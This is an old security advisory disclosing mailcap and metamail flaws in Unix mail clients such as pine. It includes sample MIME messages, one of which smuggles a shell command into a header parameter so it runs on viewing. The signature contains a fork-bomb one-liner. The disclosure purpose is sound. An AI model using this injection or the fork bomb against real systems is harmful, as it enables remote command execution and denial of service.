mailrc and pine security holes

[lcamtuf () BOSS STASZIC WAW PL (Michal Zalewski)]

Many of mailcap-compatible unix mail clients have several security holes.
Mailcap mechanism is usually so poorly implemented that it's possible
to perform wida range of attacks - from 'harmless' messing on screen,
through executing specific commands with arbitrary parameters,
even to executing *arbitrary* commands via e-mail message.

Here are examples, both tested under Linux RH 5.0 distribution (mailcap
1.0.6, pine 3.96):


========================================
Example 1 (light) - pine 3.96 confusion
=======================================

Following example demostrates how to cause a few 'mostly harmless'
errors due to the improper expansion of ` character by pine - it's
just annoying, because you can't view this mail properly, but I
have no idea if it's exploitable:

**** SAMPLE MIME MESSAGE ****
MIME-Version: 1.0
Content-Type: multipart/alternative;
        boundary="----=_NextPart_000_0007_01BD5F09.B6797740"

------=_NextPart_000_0007_01BD5F09.B6797740
Content-Type: text/plain;
        charset="crashme`"
Content-Transfer-Encoding: quoted-printable

Hellow!

------=_NextPart_000_0007_01BD5F09.B6797740--
**** END OF EXAMPLE ***


===============================================
Example 2 (heavy) - execution of arbitrary code
===============================================

That's something even more dangerous - following MIME mail, when viewed,
executes 'touch /tmp/BIG_HOLE' (bug lies in metamail script):

**** SAMPLE MIME MESSAGE ****
MIME-Version: 1.0
Content-Type: multipart/alternative;
        boundary="----=_NextPart_000_0007_01BD5F09.B6797740"

------=_NextPart_000_0007_01BD5F09.B6797740
Content-Type: default;
        encoding="\\\"x\\\"\ ==\ \\\"x\\\"\ \)\ touch\ \/tmp/BIG_HOLE"
Content-Transfer-Encoding: quoted-printable

Hellow!!!

------=_NextPart_000_0007_01BD5F09.B6797740--
**** END OF EXAMPLE ****

_______________________________________________________________________
Michal Zalewski [lcamtuf () boss staszic waw pl] <= finger for pub PGP key
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]
[echo "\$0&\$0">_;chmod +x _;./_] <=------=> [tel +48 (0) 22 813 25 86]